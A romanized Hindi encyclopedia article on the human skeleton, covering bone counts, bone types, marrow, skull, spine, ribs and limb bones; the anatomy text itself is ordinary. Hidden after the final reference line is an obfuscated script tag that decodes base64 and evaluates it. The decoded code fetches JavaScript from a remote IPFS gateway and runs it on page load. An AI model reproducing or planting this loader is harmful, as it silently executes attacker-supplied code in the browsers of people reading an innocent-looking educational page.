कंकाल
kankal manav sharir ke dhaanche ko kahate haian jo asthiyoan se aur kuchh bhagoan mean upasthiyoan (kartilej) se milakar bana hai. upasthinaram aur lachili haddiyoan ko kahate haian jinamean se kee ek samay pakar asthiyoan mean badal jati haian. sadharanat: merudandadhari praniyoan mean, jinamean manushy bhi hai, kankal sharir ke bhitar rahata hai at: ise aantarik kankal kahate haian. kuchh praniyoan mean, jaise kachhue mean, aantarik aur bahy donoan kankal hote haian. parantu jin praniyoan mean merudand nahian hota unamean keval bahy kankal hi hota hai. manushy mean bahy kankal keval nakh aur daant ke inaimal ke roop mean hi dikhaee p data hai.
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- manav kankal do bhagoan mean vibhajit kiya ja sakata hai;
- aksh-kankal (aiksiyal skelitan)sir aur dh d ki asthiyaan;
- shakhakankal (apeandikyular skelitan) oordhv aur adh: shakhaoan ki asthiyaan (bahu, bhuja, hath aur jaangh, taang, pair).
kankal mean kul 206 asthiyaan hoti haian jo nimnalikhit prakar se vargikrit ki ja sakati haian :
| varg | asthi sankhya |
|---|---|
| merudand (ridh) | 26 |
| khop di | 22 |
| hayoid asthi | 1 |
| parshuka (pasuli) aur urosthi (chhati ki haddiyaan) | 25 |
| oordhv shakha (bahu adi) | 64 |
| adh: shakha (jaangh adi) | 62 |
| shrotr asthika | 6 |
| kul | 206 |
asthiyoan ka vargikaran
akar ki drishti se asthiyoan ko char vargo mean vibhajit kar sakate haian, lanbi, chhoti, chapati aur visham akaravali.
lanbi asthiyaan
ye oordhv aur adh: shakhaoan mean hoti haian aur gati mean uttolanadand (livar) ki bhaanti kam karati haian. inamean ek dand aur do sire hote haian. dand nali ke sadrish hota hai jisake bich mean majjaguha hoti hai aur divar thas (aviral) asthi ki bani hoti hai. sire phailakar sandhi banane mean bhag lete haian. in siroan mean viral (sp aaunji) asthi hoti hai. majjaguha aur viral asthi ke rikt sthanoan mean majja bhari rahati hai.
chhoti asthiyaan
ye bahubhujakar hoti haian aur viral asthi ki bani hoti haian. viral asthi ke charoan aur aviral asthi ki ek patali tah hoti hai. kankal mean ye un sthanoan par rahati haian jahaan dridhata ke sath-sath gati ki bhi avashyakata hoti hai, jaise kalaee (manibandh) aur prapatopasthi.
chapati asthiyaan
inamean aviral asthi ki do tahean hoti haian jinake bich mean viral asthi rahati hai. inaki banavat kahian kahian aangoan ki raksha karati hai, jaise khop di aur vaksh, athava inaki chau di satah se peshiyaan lagi rahati haian, jaise skaipula. khop di ki kuchh asthiyoan mean viral padarth ke sthan par guha hoti hai jinake bhitar shleshm-jhilli (myookas meanbren) lagi rahati haian. guhaoan ko vayuvivar kahate haian. ye vivar anan asthiyoan mean hote haian aur nasika se inaka sanbandh rahata hai. kankal ke bhar ko badhae bina hi ye mukh ki akriti banate aur vani ko pratidhvani pradan karate haian.
visham akaravali asthiyaan
ye bhinn bhinn roop aur akar ki hoti haian. kasheruka aur khop di ki kuchh asthiyaan is prakar ki hoti hai.
asthimajja
lanbi asthiyoan ki majja (bon mairo) guha aur viral asthiyoan ke rikt sthanoan mean bhari rahati haian. balakoan mean sab majja lal hoti haian, parantu jyoan jyoan ayu badhati hai, yah pili hone lagati hai. tarun avastha mean lal majja keval viral asthiyoan mean hi rah jati hai aur lanbi asthiyoan ki majja guhaoan mean pili majja paee jati hai. rudhirakanika ki utpatti pradhanat: lal majja karati hai aur is karan isaki rudhirasanprapti prachur matra mean hoti hai. pili majja lagabhag samast hi charabi hoti hai aur apekshakrit isaki rudhiraprapti nahian ke barabar hoti hai.
asthichchhad (periaaustiyam)
asthiyoan ke charoan or tantumay jhilli (faibras meanbren) ki kholi hoti hai jise asthichchhad kahate haian. asthichchhad ki do paratean hoti haian. bahari paratean asthi ko simabaddh karati haian. bhitar ki parat b de mahatv ki hoti hai, kyoanki isamean poshan karane ke atirikt asthi ban jane ki samarthy bhi hoti hai.
khop di
khop di 22 asthiyoan se milakar bani hai, jo adhohanvasthi (meandibil) ko chho dakar taankoan dvara is prakar ju di rahati hai ki unamean ek doosare ke sapeksh koee gati nahian hoti. khop di ko do bhagoan mean vibhajit kiya jata hai-
- ananabhag
- kapal
anan bhag
khop di ke anan bhag se chehare ka dhaancha, nasika tatha muanh ki guha banati hai. netraguha kapal aur anan asthiyoan ke bich do ashravasthiyaan (laikrimal) do nasasthiyaan, do nasika kauanka, aur ek halasthi (vomar). inamean se kuchh asthiyaan jaise titavasthi aur lalatasthi, kapal aur anan ke bhag haian.
kapal
- REDIRECTsaancha:mukhy
kapal (kreniyam) aandakar hota hai aur bhitar sthit mastishk ki raksha karata hai. kapal ath asthiyoan se milakar bana hai. ek lalat asthi, do parshvik asthiyaan, ek anukapal, ek titavasthi (itham aauid) ek jatukasthi (sphin aauid) aur do shankhasthi (teanporal). kapal sab or se band rahata hai. keval isaki tali mean kuchh chhote-chhote chhidr rahate haian, jinamean se tantrika aur vahikaean jati haian. tali mean pichhe ki or ek b da radhran hota hai jisamean se mastishk ka ek bhag (mastishk puchchh, middala obal aaudgeanta) nikalakar ridharajju se milata hai. kapal ka varnan do bhagoan mean kiya ja sakata hai:-
(k) guanbaj ke akar ki chhat, aur
(kh) tali, jo visham asthiyoan se milakar bani hoti hai.
- guanbaj ke akaravali chhat
yah chhah asthiyoan se milakar bani hoti hai. age lalatasthi, isake pichhe do parshvik asthiyaan aur sabase pichhe anukapalasthi rahati hai. barabaravali bhit ke banane mean shankhasthiyaan bhi bhag leti haian. in asthiyoan ke bich ki tantusandhiyoan ko sivani kahate haian. lalatasthi aur donoan parshvik asthiyoan ke bich ki sivani ko k aauronail, donoan parshvik asthiyaan ke bich vali ko saijital aur pichhe ki or ki parshvik asthiyoan aur anukapal ke bichavali sivani ko laianbd aaued kahate haian.
- kapal ke vivar
janm ke samay kapal ki asthiyaan poorn roop se paripakv nahian hotian aur parshvik asthi ke konoan par komal jhilli rahati hai. in sthanoan ko kapal ke vivar kahate haian. janm ke samay in vivaroan ki asthiyaan ek doosare par akar kapal ki nap ko chhota bana deti haian. sabase b da vivar age ki or rahata hai, jahaan saijital aur k aauronail sivani milati hai. yah janm ke pashchath lagabhag 18 mas tak band nahian hota. pichhevala vivar saijital aur laianbd aaued sivani ke sangam par hota hai aur yah janm ke kuchh hi samay bad band ho jate haian.
- kapal ki tali
yadi chhat ko hata dean aur kapal ki tali ko oopar se dekhean to tin vibhag ya vivarak dikhaee dete haian. ye vivarak chhah asthiyoan se milakar bane hote haian. lalatasthi, titavasthi, jatukasthi, do shankhasthiyaan aur anukapal.
age vala vivarak tinoan mean sabase kam gahara hota hai, aur isamean mastishk aur frautal pali rahati hai. is vivarak ke bich ka bhag ithamaid asthi se banata hai. isi asthi se nasika ki chhat bhi banati hai aur isake chhote-chhote chhidroan mean se ghranatantrika pravesh karati hai. titavasthi aur lalatasthi is vivarak ko netraguha se prithakh karati haian.
madhy vivarak ke bich jatukasthi ke ek chhote se vibhag mean poshagranthi (pitayootari) piand rahata hai. is vibhag ke donoan or ek vistirn aur gahara avatal hota hai jisamean pramastishk ki shankhapali rahati hai. is avatal ki pichhe ki sima shankhasthi ka prastar (pitaras) bhag banati hai, jisake bhitar madhyakarn aur kan ka gahan (laibirianth) rahata hai.
pichhe ka vivarak sabase adhik gahara hota hai aur isamean anumastishk, madhyamastishk, setu (pauans) aur mastishkapuchchh (maidula aublaangeta) rahata hai. isi vivarak mean vah b da radhran hota hai jisamean se mastishkapuchchh (maidula aublaang) jata hai. b de radhran ke donoan or jugalar radhran hota hai jisamean se matrika (jugalar) shira aur kuchh kapalatantrika kapal se bahar ati haian. is vivarak ki pichhe ki sima anukapalasthi banati hai jisamean griva ki prasaran peshiyaan lagi rahati haian.
yadi kapal ki tali mean asthibhang ho to bahudha sharir ke vishesh bhag se raktasrav ke chihn isaka sanket karate haian ki amuk vivarak mean asthibhang hua hai. udaharanarth, kapal mean chot ke bad yadi nasika, palak ya netrashleshmika (kanjanktaiva) ke niche raktapravah ho to samane ke vivarak mean aur kan se rakt ka ana bich ke vivarak mean asthibhang hona batata hai. griva ke pichhe ki chot aur prasaran peshiyoan mean rakt ke chihn pichhe vale vivarak mean asthibhang hone ka sanket karate haian.
khop di ka anan bhag
anan asthiyaan adhohanvasthi ka chho dakar apas mean aur kapal ke samane tatha niche ki or taankoan dvara b di dridhata se ju di rahati haian. netraguha aur nasikaguha pradhanataya anan asthiyoan se hi bani haian. parantu inaki chhat kapal dvara banati hai. anan asthiyoan ki samany rachana ka jnan khop di ke chitroan ka adhyayan karane se ho sakata hai. ek oordhvahanvasthi, jisamean oopar ke daant rahate haian, doosari se nasaradhran ke niche milati hai. nasaradhran ke oopar ki or donoan nasasthiyaan milati haian. netraguha ke bhitar ke kinare ke pasavali asthi ka nam ashravasthi (laikrimal) hai. ashravasthi aur oordhvahanvasthi ke bich nasikashru nal hoti hai jisake dvara aansoo netr se nasika mean ata hai. netraguha ki bagal ka kinara gandasthi hai. yah asthi pichhe ki or shankhasthi ke oopar ubhar se milakar zaigomaitik chap banati hai. yah chap jue ki bhaanti anan aur kapal ki asthiyoan ko milata hai.
halasthi (domar)
is patali tribhujakar asthi se nak ki bhittika (septam) ka pichhala bhag banata hai. nasika ki bagal ki bhit mean tin kauanka hote haian. inamean se oopar ke do titavasthi ke bhag aur sabase niche ka kauanka prithakh asthi hai. talvasthi kehuni ke akar ki hoti hai. donoan talvasthiyoan ke samatal bhag milakar talu ka pichhala bhag banate haian. talu ke agale bhag se urdhvahanvasthi banati hai. talvasthi ke kh de bhag se nasika ki bagalavali bhit ka pichhala bhag banata hai.
adhohanvasthi
anan ki asthiyoan mean se keval yahi asthi paryapt roop se gati karati hai. is gati dvara bhojan ka charvan aur dhvaniyoan ka uchcharan sanbhav hota hai. janm ke samay adhohanvasthi ke do bhag hote haian, jo samane ki or chibuk par ek varsh ki ayu tak avashy mil jate haian. chibuk ka age ki or ubha d manushy jati ki visheshata hai.
adhohanvasthi ke samatal bhag mean daant lage rahate haian aur isaka kh da bhag kapal ki shankhasthi se ju da rahata hai. isi bhag mean charvan peshiyaan lagi rahati haian. adhohanvasthi ke ye donoan bhag milakar ek kon banate haian. yah kon yuvavastha mean lagabhag 1100 ka hota hai.
merudand
merudand (vartebral k aaulam) 33 kasherukaoan se milakar bana hai. inamean 7 griva, 12 prishth, 5 kati, 5 trik aur 4 anutrik kasherukaean kahalati haian. kasherukaean ek doosare ke oopar sati rahati haian. ye apas mean aant: kasherukaoan, upasthiyoan, snayuoan aur peshiyoan dvara dridhata se ju di rahati haian. griva, prishth aur kati kasherukaean alag-alag gatishil hoti hai. ye mukhy kasherukaean kahalati hai. trik aur adhunik kasherukaean ju dakar trik aur anutrik banati haian. inako gaun kasheruka kahate haian. yuva purush mean merudand ki lanbaee lagabhag 28 ianch hoti hai aur striyoan mean 3 ya 4 ianch kam. kul lanbaee ka lagabhag ek chauthaee bhag aant: kasheruka upasthi banati hai.
merudand ko sharir ka aksh kahate haian. yah dh d, sir aur oordhv shakha ka bhar vahan karata hai. merudand mean paryapt matra mean gati bhi sanbhav hai. merudand us tanav athava dabav ka bhi avarodh karata hai jo adhik gati ya manushy ke adhik bhar uthane ke karan utpann ho jata hai. yah aghat athava dahal se raksha karata hai. isake dvara dh d, sar aur oordhv shakha ka bhar, shronimekhala se hokar, adh:shakhaoan mean chala jata hai. merudand vaksh ko dridhata se sanbhale rakhata hai. isamean sharir ki b di samarth peshiyaan lagi rahati haian. merudand komal merurajju ki raksha karata hai. is prakar merudand sharir ka ek b da vilakshan aang hai aur b de upayogi karyo ko poorn karata hai. isake atirikt kasheruka mean lal majja hoti hai jo rudhirakanika ke nirman ke lie param avashyak hai.
samast kasherukaoan ki samany banavat ek si hi hoti hai. tathapi pratyek bhag mean kuchh visheshataean rahati haian. pratyek kasheruka ke do mukhy bhag hote haian; kasheruka-kay age ki or aur isake pichhe kasherukachap. donoan ke bich ek b da radhran hota hai. donoan ke bich ek b da radhran hota hai. sab kasherukaradhran milakar poore merudand mean ek nal banate haian jisamean merurajju surakshit rahati hai.
kasherukakay
yah vartulakar hota hai aur pradhanataya viral (sp aaunji) asthi ka bana hota hai. oopar aur niche ki satahoan par chakrakar aviral asthi hoti hai jo asthishir (epiphisis) kahalati hai. donoan satahean chipati aur khurakhuri hoti haian jisase aant: kasheruka upasthi bhali bhaanti ju d sake. oopar se niche ki or kasherukaoan ka akar katitrik (lanbo saikral) sandhi tak b da hota jata hai, kyoanki merudand par p dane vala bhar bhi niche ki or badhata jata hai. katitrik sandhi se samast bhar shronimekhala dvara hokar adh: shakhaoan mean chala jata hai, isalie trik aur anutrik ke niche ke sire patale hokar nukile ho jate haian.
kasheruka chap
do pedikal aur do laimina se milakar banata hai. pedikal kasheruka kay se pichhe ki or nikali huee do chhoti chh dean hoti haian. inamean pichhe ki or jati huee do chapati paratean laimina kahalati haian. jis jagah donoan laiminaean milati haian vahaan se pichhe nikale hue ubha d ko kasherukakantak (spainas proses) kahate haian. pedikal aur laimira ke milane ke sthan se do nikas (artikyular proses) oopar ki or aur do niche ki or nikalate haian jo samipavarti kasheruka ke nikas se sandhit hote haian. isi jagah se do aur a de pravardh (traiansavars proses) bahar ki or nikale rahate haian. samipavarti kasherukaoan ke pedikal ke bich aant: karusheka radhran hote haian jinamean se tantrikaean bahar nikalati haian.
grivakasheruka ke vishesh lakshan
sir ko sanbhalane aur isaki gati ke karan pratham aur dvitiy grivakasheruka ki banavat bahut bhinn hoti hai. pratham grivakasheruka, athava shirodhar (aitalas), bina kay ki hoti hai. oopar ki or yah anukapal se juti hoti hai. is sandhi par sir ko age aur pichhe ki or hilane ki gati hoti hai. dvitiy grivakasheruka athava akshakikas (aiksis) ki visheshata ek dantabh pravardh (odant aaued proses) haian, jo isaki kay se oopar utha rahata hai. yah pravardh shirodhar se vivartika sandhi banata hai. is sandhi par sir shirodhar, aitalas ke oopar ghoomata hai.
merudandavakr
janm ke samay merudand pichhe ki or uttal hota hai, parantu jis samay shishu tin ya char mas ka hota hai aur apani griva ko oopar uthane lagata hai, merudand ki griva vibhag samane ki or uttal ho jata hai; aur chhah ya nau mas ke bhitar, jis samay shishu baithane lagata hai, kati vibhag bhi samane uttal ho jata hai. vaksh aur trik vibhag ke pichhe ki or ke uttal 'maulik vakr' kahalate haian. ye garbhavastha mean hi ban jate haian aur ayuparyant rahate haian. inake karan vaksh aur shroniguhaoan ki dharanashakti badh jati hai. griva aur kati ke samanevale uttal 'sahakari vakr' kahalate haian. ye janm ke bad banate haian jisase sharir pralanb asan mean santulan prapt kar sake.
ye vakr kuchh to is karan banate haian ki kasherukaean age aur pichhe ki or ek si moti nahian hotian, parantu aant : kasheruka-upasthiyoan ka saman motaee ka n hona inaka mukhy karan hai. vriddhavastha mean aant: kasherukaupasthi ka kshay hone lagata hai aur dhire-dhire sahakari vakr bhi kam hone lagate haian. isi karan budhape mean kamar jhuk jati hai.
parshukaean
vaksh mean ek or barah parshukaean (ribs) hoti haian. oopar ki sat parshukaean mukhy kahalati haian, kyoanki ye urosthi se parshukopasthi dvara sandhit hoti haian. shesh paanch gaun parshukaean kahalati haian, kyoanki ye urosthi se sandhi nahian banatian. inamean se athavian, navian aur 10vian parshukaean lanbi upasthi dvara apane se ooparavali upasthi se milati haian. aantim do chalayaman parshukaean kahalati haian. inaki upasthiyoan ke nukile sire kisi doosari upasthiyoan se nahian milate. sabase oopar aur niche ki parshukaean sabase chhoti hoti haian, isalie vaksh ka akar dhol ki tarah hota hai. sabase adhik chau daee satavian aur athavian parshuka ke samip hoti hai.
parshuka ek lanbi chapati asthi hoti hai jisaka agala sira upasthi dvara urosthi se milata hai aur pichhala kasheruka se. bich ka bhag mu da hota hai. yah mo d sabase adhik pichhe ki or hota hai aur parshuka ka kon banata hai. is bich ke bhag ka oopar ka kinara gol aur nichevala tikshn hota hai. niche ke kinare ke pas hi ek avatal mean aant: parshuka vahikaean aur tantrikaean rahati haian. do parshukaoan ke bich aant: parshuka peshiyaan rahati haian.
urosthi
urosthi (starnam) vaksh mean samane ki or rahati hai. isaka akar chau de bhale ke saman hota hai. oopar se niche ki or is asthi ke tin bhag hote haian : hastak (mainyubriyam), kay aur agrapatrak (ziph aauyad proses). hastak tribhujakar hota hai. oopar ki or donoan taraph akshak katav hote haian, jinamean akshak ka bhitar vala sira sandhit hota hai. oopar ka kinara avatal hota hai. aur ise urosthi ka oopar ka katav (suprastarnal n aauch) kahate haian. akshak katav ke thik niche pahali parshukopasthi hastak se sandhi banati hai. niche ki or, hastak, kay se milakar, urosthi kon banate haian. is kon ko luee ka kon bhi kahate haian. ise vaksh mean samane ki or b di sugamata se parisparsh kar sakate haian. isi jagah doosari parshukopasthi urosthi se milati hai. is kon ka parisparsh parshuka ginane mean sahayak hota hai. urosthi kay lagabhag char ianch lanba hota hai. isake donoan or katav hote haian jinase doosari se lekar satavian parshukopasthi tak sandhiyaan banati haian.
agrapatrak ek chhoti si upasthi urosthi-kay se sandhi banata hai. sharir mean is sandhi ke sthan ko ek ubhari huee rekha sadrish parisparsh kar sakate haian. isi jagah satavian parshukopasthi ki sandhi hai. agrapatrak hriday ke nichale bhag ke samane rahata hai. madhy bhag mean mathyachchhada agrapatrak se laga rahata hai aur madhyachchhada ke thik niche yakrit rahata hai.
oordhvashakha (apar lianb)
aansamekhala–aansamekhala age ki or akshak (knaivikil) aur pichhe aansaphalak (skaipyula) se milakar banati hai.
akshak ek lanbi, patali aur mu di huee asthi hai jo griva ke nichale bhag mean rahati hai. isaka bhitar ka sira ur:phalak se sandhi banata hai aur baharavala aansaphalak ke utphalakagr (akromian) se. akshak kandhe ko bahar ki or rakhane mean pahie ki tili ki bhaanti kam karata hai aur is prakar aansaphalak svatantr roop se ghoom sakata hai.
aansaphalak (skaipyula)
aansaphalak ek chipati trikonakar asthi hai, jisamean kandhe ko gati denevali b di-b di peshiyaan lagi rahati haian. skaipyula oopar ki sat parshukaoan ke prishthabhag mean rahata hai. isake bahar ke sire par ek chhichhali guha hoti hai jise glinaid guha kahate haian. kantak ka bahari sira utphalakagr pravardh se milata hai. yah pravardh uroansya pravardh (kaurak aauyad proses) se milakar kandhe ke oopar ek meharab banata hai. yah meharab pragandika (hyoomaras) ke sir ka sandhibhang hone se rokata hai. is prakar aansamekhala aur akshakankal ke bich asthisanbandh keval us ek chhoti sandhi dvara hota hai jo akshak ur:phalak se banati hai. isake phalasvaroop oordhvashakha ko b di gati mil jati hai. udaharanarth, jis samay pragand uthaya jata hai, aansaphalak vaksh ki bhit par ghoomata hai aur is prakar apavartan ki sima bahut badh jati haian; parantu is rachana mean oordhvashakha ka sara bhar peshiyoan ko sanbhalana p data hai aur is karan ve shighr hi thak jati haian.
pragandika
pragandika (hyoomaras) pragand ki ekamatr asthi hai. isaka oopar ka sira golardh hota hai aur isake pasavale do ubhar b de aur chhote prarbud (tayoobarositi) kahalate haian. golardh sira aans-ulookhal (glin aauid guha) se kandhe ki ulookhal-sandhi banata hai. glinaid ke chhichhale hone ke karan kandhe ki sandhi par jitani gati sanbhav hai utani sharir mean aur kisi bhi sandhi par nahian hoti hai. pragandika ka niche ka sira phailakar prakoshth ki asthiyoan ke sath kehuni ki sandhi banata hai.
bahishprakoshthika (rediyas) aur aant: prakoshthika (alna)
jab hatheli samane ki or athava chit ho tab prakoshth ki donoan asthiyaan asapas, bahishprakoshthika bahar ki or aur aant: prakoshthika bhitar ki or rahati hai. parantu jis samay bahishprakoshthika ka niche ka sira aant: prakoshthika ke samane se ghoomakar bhitar ki or a jata hai. hatheli ko chit ya pat karane ki gati in donoan asthiyoan ki oopar aur nichevali sandhiyoan par hoti hai. kahuni par aant: prakoshthika ka ek gahara katav pragandika ke nichale sire par ghirani ke akaravale bhag se bahut pusht sandhi banata hai. bahishprakoshthika aur pragandika ki sandhi itani pusht nahian hoti. donoan asthiyoan ke niche ke sire kalaee par parisparsh kie ja sakate haian.
hath ki asthiyaan
manibandh (kalaee) ath chhoti-chhoti asthiyoan se milakar bana hai. ye asthiyaan oopar aur niche char-char ki do panktiyoan mean rahati haian. ooparavali pankti mean bahar se bhitar ki or manibandhasthiyoan ke nam is prakar haian : skaiph aauyad (nav ke akar ki), lyoonet (chaand ke akar ki); traikvetral (tinoan konoanvali) aur pisiph aaurm (matar ke dane ke akar ki). skaiph aauyad aur lyoonet bahishprakoshthika ke nichevale sire ke sath sandhi banati haian. traikvetral aur aant: prakoshthika ke bich ek tikoniupasthi rahati hai. is prakar bahishprakoshthika aur upasthi niche ki or skaiph aauyad, lyoonet aur traikvetral asthiyoan ke sath kalaee ki sandhi banati haian. pisif aaurm traikvetral ke samane rahati hai. isako kalaee mean parisparsh kiya ja sakata hai.
niche ki pankti mean bahar se bhitar ki or asthiyoan ke nam is prakar haian : traipiziyam, traipiz aauyad, kaipitet aur haimet. inamean sabase b di asthi kaipitet ka gol sir skaiph aauyad aur lyoonet se sandhi banata hai. manibandhasthiyoan ki oopar aur nichevali panktiyoan ke bich sandhi par paryapt matra mean gati sanbhav hai. yah gati kalaee ki gati mean vriddhi karati hai. paanch karashalakaoan se hath ka dhaancha bana hai. pahali karashalaka traipiziyam se sandhi banati hai aur is sandhi par gati hone ke karan aangootha charoan uangaliyoan ke samip a sakata hai. shesh char karashalakaean asapas ek doosare se bandhi rahati haian. aanguliyoan ki asthiyaan aur bhi chhoti hoti haian. aangoothe mean do aur shesh uangaliyoan mean tin-tin aangulyasthiyaan hoti haian. aangulyasthiyoan ke bich sabhi sandhiyoan par gati sanbhav hai.
adh:shakha (loar lianb)
shronimekhala–shronimekhala do nitanbasthiyoan aur trik (saikram) se milakar banati hai. trik donoan or nitanbasthi ke sheshaansh bhag se milakar trik prishthanitanb (saikro-iliak) sandhi banata hai. age ki or donoan nitanbasthiyaan ju dakar bhagasthi sandhi banati haian. ye sandhiyaan sharir ka bhar vahan karati haian; isalie in sandhiyoan ki snayu bahut pusht hoti haian.
nitanbasthi
yah asthi tin asthiyoan se milakar bani hai. age bhagasthi (pyoobis), oopar ki or prishthanitanb (iliyam), prishth aur niche ki or asanasthi (iskiyam) hoti hai. jis samay ham baithate haian, sharir ka bhar asanasthi vahan karati hai. ye tinoan asthiyaan ulookhal mean sandhit hoti haian. ulookhal ka akar katori jaisa hota hai. 12 varsh ki ayu tak sanpoorn ho jata hai. bhagasthi aur asanasthi ki shakhaean bhagasthi-chap banati haian. in shakhaoan ka asthi mean parinat hona sat ath varsh mean sanpoorn hota hai. bhagasthi-chap aur shroni-ulookhal ke bich ek radhran hota hai.
oorvika
oorvika (fimar) ki tulana pragandika se ki ja sakati hai, parantu oorvika b di aur adhik pusht hoti hai. isaka golakar sir shroni ulookhal ke sath ulookhal sandhi banata hai. lagabhag do ianch lanbi pusht griva isake sir ko tane se jo dati hai. griva aur sir ke sangam par do oorukoot (trokaiantar) ek b da aur doosara chhota, sthit hai. oorvika ka niche ka sira phailakar do sandhikand (k aaundails) ka roop dharan kar leta hai. ye sandhikand aantarjaanghika (tibiya) aur januphalak se milakar janusanghi banate haian. donoan oorvikaean, oopar ki or, shroni ki chau daee ke karan, door rahati haian, parantu unake niche ke sir samip rahate haian. is prakar oorvika sharir mean tirachhi rahati hai. striyoan mean shroni ki adhik chau daee ke karan oorvika ka tirachhapan adhik hota hai.
janvika
janvika (paitela) chipati aur tribhujakar hai. yah oorvika ke nichale sire ke samane ki or sandhi banati hai aur janusandhi ki samane se raksha karati hai. kabhi-kabhi janvika ka asthibhang hone par isako shalyakriya dvara nikal diya jata hai.
aantarjanghika (tibiya) aur bahirjanghika (fibula)
pair mean ye donoan asthiyaan ek jhilli dvara paraspar ju di rahati haian. inake oopar aur niche ke sire oordhv aur adh:sandhiyaan banate haian. in sandhiyoan par gati bahut hi kam matra mean sanbhav hai. aantarjaghika bhitar ki or adhik sthool aur pusht asthi hai. bahirjaghika bahar ki or ek patali kamathi jaisi hoti hai. bahirjaghika ka oopar ka sira janusandhi tak nahian pahuanchata. donoan asthiyoan ke niche ke sire ek chap banate haian. yah chap gulphika (tarsas) ki telas asthi ke sath sandhi banata hai jise takhana kahate haian. barhirjaghika ka niche ka sira aantarjaghika ke niche ke sire se lagabhag adha ianch nicha rahata hai.
padasthiyaan
prapatopasthi mean sat asthiyaan hoti haian. ye manibandhasthi ki asthiyoan se b di hoti haian. ye manibandhasthi ki asthiyaan hoti haian. sabase ooparavali asthi ka nam telas hai. telas ke niche pragulphasthi (kailakeniyam) hoti hai, jo prapatopasthi ki sabase b di asthi hai. pragulphasthi ka pichhala sira e di ke niche rahata hai. telas ke age naukakar (naivikyular)asthi hai jo telas ke tirachhi hone ke karan pair ke bhitar ki or rahati haian. naivikular ke age tin sphan (kyoonif aaurm) asthiyaan hoti hai. aangoothe ki aangoothe ki tin padashalakaean tinoan sfanasthiyaan (kyoonif aaurm) se sadhit hoti haian. pair ke bahar ki or pragulphasthi ke age ghanasthi (kyoob aauyad asthi) rahati hai. ghanasthi chauthi aur paanchavian padashalakaoan se sandhit hoti hai. talave ke bhitar aur bahar ki o mu dane ki gati us sandhi par hoti hai jo telas pragulphasthi aur naukakar asthiyoan se milakar banati hai.
pair ke agrabhag mean paanch padashalakaean rahati haian. pahali padashalaka doosaroan ki apeksha adhik pusht hoti haian. yadyapi isaki tulana pahali karabhasthi (maitakarpal) se ki ja sakati hai, tathapi yah doosari padashalakaoan se is prakar ju di rahati hai ki svatantr roop se isamean kuchh bhi gati shaky nahian hoti hai. do chhoti-chhoti snayujat asthiyaan (sesam aauyads) pahali padashalaka ke agale sire ke niche rahati haian.
pair ki agulyasthiyaan hath ki bhaanti hi hoti haian, paratu akar mean pair ke aangoothe ki do aangulyasthiyaan, hath ke agooanthe se b di aur shesh aangulyasthiyaan, jo pratyek aanguli mean tin hoti hai, hath ki aangulyasthiyoan ki apeksha chhoti aur patali hoti haian.
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tika tippani aur sandarbh
kankal (hiandi) bharatakhoj. abhigaman tithi: 8 disambar, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>